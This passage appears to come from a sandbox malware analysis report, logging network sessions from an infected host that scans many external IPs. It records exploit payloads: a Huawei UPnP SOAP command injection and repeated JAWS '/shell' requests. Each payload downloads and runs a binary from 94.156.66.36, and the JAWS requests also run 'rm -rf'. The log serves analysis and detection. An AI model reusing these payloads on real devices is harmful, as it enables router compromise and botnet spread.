2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:56.468732119 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.15	54432	35.241.6.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.171607971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.15	50078	107.178.248.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.185976028 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:35.276776075 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Wed, 13 Mar 2024 08:36:35 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.15	36578	34.203.113.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.190208912 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.15	48862	12.171.196.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.217081070 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:35.339560032 CET	244	IN	HTTP/1.1 302 Object Moved Location: https://selfservice.tecoenergy.com/ Content-Type: text/html Cache-Control: private Connection: close Data Raw: 3c 68 65 61 64 3e 3c 62 6f 64 79 3e 20 54 68 69 73 20 6f 62 6a 65 63 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 65 6c 66 73 65 72 76 69 63 65 2e 74 65 63 6f 65 6e 65 72 67 79 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 20 3c 2f 62 6f 64 79 3e Data Ascii: <head><body> This object may be found <a HREF="https://selfservice.tecoenergy.com/">here</a> </body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.15	60646	109.199.125.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.266865969 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:35.476675987 CET	431	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Mar 2024 08:36:35 GMT Server: Apache/2.2.25 (Win32) Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.15	53750	34.204.240.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.280222893 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:35.375222921 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:35 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.15	58828	152.92.119.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.316946030 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.15	45612	154.12.44.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.422647953 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:35.585752010 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.15	33346	212.14.142.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.453052044 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:36.437422991 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:37.589251995 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:40.085226059 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:44.693173885 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:53.908986092 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.15	41810	42.236.84.158	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:35.996262074 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:37.338479042 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.15	42804	66.108.248.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.554781914 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.15	35718	23.41.180.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.612328053 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:37.779678106 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:37 GMT Date: Wed, 13 Mar 2024 08:36:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 33 32 38 34 33 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 39 37 26 23 34 36 3b 66 62 38 37 35 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.23284317.1710318997.fb875dd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.15	60292	184.31.179.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.624726057 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:37.804685116 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:37 GMT Date: Wed, 13 Mar 2024 08:36:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 61 33 31 33 30 32 26 23 34 36 3b 31 37 31 30 33 31 38 39 39 37 26 23 34 36 3b 37 35 39 63 35 31 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5a31302.1710318997.759c51d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.15	41290	150.60.193.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.734103918 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:39.189208984 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:39.472721100 CET	427	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:39 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.15	50160	47.254.199.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.769146919 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.092854977 CET	479	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.15	59768	23.203.38.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:37.802109003 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.166060925 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:37 GMT Date: Wed, 13 Mar 2024 08:36:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 37 61 34 36 61 32 61 26 23 34 36 3b 31 37 31 30 33 31 38 39 39 37 26 23 34 36 3b 31 63 38 35 33 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.87a46a2a.1710318997.1c8531</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.15	57514	52.227.231.156	80

Timestamp	Bytes transferred	Direction	Data
